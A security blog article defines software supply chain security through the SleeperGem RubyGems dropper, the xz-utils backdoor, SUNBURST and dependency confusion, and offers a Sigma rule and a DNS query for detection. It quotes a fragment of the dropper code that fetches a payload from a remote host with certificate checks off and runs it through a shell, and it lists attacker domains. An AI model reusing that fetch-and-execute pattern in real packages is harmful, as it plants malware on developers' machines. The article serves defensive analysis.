Supply Chain Security

What Is Software Supply Chain Security?

HuntRule Team · · 8 min read

Abstract chain of glowing interconnected package nodes, one node corrupted and leaking dark tendrils into the rest of the graph
On this page

A gem wakes up

Between July 18 and 19, 2026, four versions of a gem called git_credential_manager landed on rubygems.org in roughly nine hours. Version 2.8.0 was already a working dropper. It built a URL against a hardcoded Forgejo host, fetched a payload with certificate verification switched off, and handed it to a shell:

def base_url
  "https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
if goos == "windows"
  Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
  Process.spawn("/bin/sh \"#{full_path}\"")
end

Aikido and StepSecurity published the analysis on July 19 and named the campaign SleeperGem. That gem, and the account behind it, is as good a definition of software supply chain security as any textbook. The attacker does not breach your perimeter. You run bundle install and breach it for them.

The working definition

Software supply chain security is the defense of everything you install on purpose. Your lockfile is an ingest pipeline for third-party code, and that code executes with the privileges of whoever runs the package manager, usually a developer laptop or a build agent holding cloud credentials. The trust boundary sits at npm install, pip install, gem install and the vendor update channel, not at the firewall. Three registry ecosystems (npm, PyPI, RubyGems) let package authors run arbitrary code at install or import time by design, which is why install scripts keep showing up in every one of the cases below.

Four public cases mark out the attack surface. Each one is a different vector, and each left different telemetry.

SleeperGem: hijacked dormant accounts (T1195.001)

The git_credential_manager gem impersonated Microsoft's Git Credential Manager and came from a maintainer account whose other gems had not been updated since 2019. The attacker also pushed two new versions of Dendreo, a gem first published in 2017, adding git_credential_manager as a dependency so existing users would pull the payload. A third gem, fastlane-plugin-run_tests_firebase_testlab with 574,661 total downloads, belonged to a different maintainer entirely, so more than one dormant account was in play.

Two details matter for detection. First, version 2.8.2 moved execution from install time into the gem's load path, with the payload call left commented out until 2.8.3 uncommented it seventeen minutes later. From then on merely calling require "git_credential_manager" fired the dropper. Second, a skip_install? check scanned for roughly 30 environment variables belonging to GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins and Vercel, and did nothing if it found one. The malware wanted developer laptops, not disposable CI runners. If your sandbox detonation environment looks like CI, this sample shows you nothing.

xz-utils: the long game (T1195.001)

CVE-2024-3094. A maintainer persona under the name Jia Tan spent about two years earning commit access to xz Utils, then shipped a backdoor in liblzma versions 5.6.0 and 5.6.1 in early 2024. The malicious object code hid inside binary test files in the repository, and the build scripts stitched it into the library only under specific distribution build conditions. On systemd-based distros, sshd links liblzma transitively through libsystemd, which gave the backdoor a hook into RSA_public_decrypt and pre-auth code execution on any exposed SSH daemon.

Andres Freund found it on March 29, 2024, because sshd logins were burning around 500ms of extra CPU and valgrind was complaining. Nobody's EDR caught it. A performance anomaly did. That is worth sitting with.

SUNBURST: build pipeline compromise (T1195.002)

The 2020 SolarWinds intrusion injected the SUNBURST implant into SolarWinds.Orion.Core.BusinessLayer.dll during the vendor's own build process, so the trojanized DLL carried a valid SolarWinds digital signature (T1553.002). Up to 18,000 customers downloaded the poisoned Orion updates. The implant slept for 12 to 14 days before doing anything, then resolved DGA subdomains of avsvmcloud[.]com for C2 (T1568.002), running inside SolarWinds.BusinessLayerHost.exe, a process most SOCs had explicitly excluded from monitoring because the vendor recommended it. Signature checking and vendor reputation both failed here. Egress monitoring from the server subnet was the realistic catch.

Dependency confusion: the resolver is the vuln

In February 2021 Alex Birsan published research showing that internal package names leak (in public manifests, in JavaScript bundles, in job postings), and that registering the same name on the public registry with a higher version number got his code executed inside more than 35 companies, including Apple, Microsoft and PayPal. His proof-of-concept packages exfiltrated hostname and username over DNS from preinstall scripts. No account was hijacked and nothing was typosquatted. The package resolver preferred the public registry, and that preference was the entire vulnerability.

Abstract illustration of code packages flowing through a funnel into a workstation, one package glowing red among identical blue ones

What a SOC can actually see

Strip the vectors down and three telemetry seams remain.

Process lineage at install and import time. On Linux, npm lifecycle scripts run as children of node, pip's build hooks run under python, and gem extensions and require-time payloads run under ruby. Collect execve events (auditd, Sysmon for Linux event ID 1, or your EDR equivalent) with full command lines. On Windows, that is event ID 4688 with command-line auditing enabled, watching node.exe or ruby.exe spawning powershell.exe or cmd.exe. SleeperGem's Process.spawn("/bin/sh ...") lands exactly on this seam.

Egress from build agents and developer subnets. Build agents have a small, knowable set of legitimate destinations. git.disroot[.]org should never appear in their DNS logs, and neither should a first-seen DGA subdomain of avsvmcloud[.]com. Sysmon event IDs 3 and 22, Zeek dns.log, or resolver query logs all work.

Registry-side signals. A dependency that suddenly publishes after years of silence, or a lockfile diff pulling a package from the public registry where an internal name was expected. This is pipeline tooling rather than SIEM content, but the alert still needs a queue and an owner.

Detection: package manager spawns a shell

We wrote a Sigma rule for the first seam. It targets Linux process creation telemetry.

title: Package Manager Runtime Spawns Shell Or Downloader
id: 3f2a9c61-8b4e-4d0a-9c1e-7f5d2b8e4a10
status: experimental
description: Detects package manager runtimes spawning a shell or download
  utility, the common execution pattern of malicious install scripts and
  require-time droppers such as SleeperGem
references:
  - https://www.aikido.dev/blog/sleepergem-rubygems-supply-chain-attack
date: 2026-07-31
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/node'
      - '/npm'
      - '/yarn'
      - '/pnpm'
      - '/python'
      - '/python3'
      - '/pip'
      - '/pip3'
      - '/ruby'
      - '/gem'
      - '/bundle'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/zsh'
      - '/curl'
      - '/wget'
  condition: selection_parent and selection_child
falsepositives:
  - Native extension builds (node-gyp, pip building wheels) that invoke
    compilers through a shell
  - Git hook managers such as husky
  - Legitimate npm postinstall scripts, which are common
level: medium
tags:
  - attack.t1195.001
  - attack.t1059.004

What it catches. SleeperGem's /bin/sh spawn at both install and require time, curl | bash style postinstall scripts, and Birsan-style preinstall exfiltration that shells out. Note that on Linux npm is itself a Node script, so the observable parent is node, not npm.

What it misses. Payloads that stay in-process, and this is the big one. SleeperGem fetched its second stage with Ruby's own Net::HTTP, which forks nothing. A malicious package that exfiltrates via the language's HTTP library never trips this rule, only the network seam sees it. Compiled native extensions doing the work inside the interpreter's own address space are equally invisible here.

False positives. Expect noise from node-gyp, pip wheel builds and husky on developer machines. On build agents the rule is quiet enough to alert on. On laptops, treat it as a hunting query and baseline first. Pair it with an egress check like:

SELECT query, COUNT(*) AS lookups, MIN(ts) AS first_seen
FROM dns
WHERE src_ip IN (SELECT ip FROM build_agents)
  AND ts > NOW() - INTERVAL '24 hours'
  AND query NOT IN (SELECT domain FROM egress_allowlist)
GROUP BY query
ORDER BY first_seen DESC;

This assumes you can tag build agents as assets and maintain an egress allowlist. If you cannot do either, that gap is finding number one, ahead of any rule.

ATT&CK mapping

Technique

Name

Seen in

T1195.001

Compromise Software Dependencies and Development Tools

SleeperGem, xz-utils, dependency confusion

T1195.002

Compromise Software Supply Chain

SolarWinds SUNBURST

T1059.001

PowerShell

SleeperGem Windows path

T1059.004

Unix Shell

SleeperGem, npm install scripts

T1553.002

Code Signing

SUNBURST signed DLL

T1568.002

Dynamic Resolution: DGA

SUNBURST C2

Summary

Software supply chain security is the defense of the code you invite in, and the four cases above cover its main vectors, hijacked dormant maintainer accounts, patient malicious maintainership, vendor build pipeline compromise and resolver abuse. None of these were caught at a perimeter. The detections that work are unglamorous, process lineage under package manager runtimes, egress baselines on build agents, and registry-side anomaly checks on your own dependencies. We could not find a public case where signature validation alone stopped any of them. Collect the telemetry first, then write the rules.

Build agents are Linux more often than not, so the process-lineage coverage worth reading first is at /rules?domain=linux.

Collect:
  Linux: auditd execve / Sysmon-for-Linux EID 1 (proc creation, cmdline)
  Windows: EID 4688 (with cmdline auditing), Sysmon EID 1, 3, 22
  Network: DNS query logs from build/dev subnets, Zeek dns.log
Techniques:
  T1195.001, T1195.002, T1059.001, T1059.004, T1553.002, T1568.002
Cases referenced:
  SleeperGem (RubyGems, 2026), CVE-2024-3094 (xz-utils, 2024),
  SUNBURST (SolarWinds, 2020), dependency confusion (Birsan, 2021)

Related articles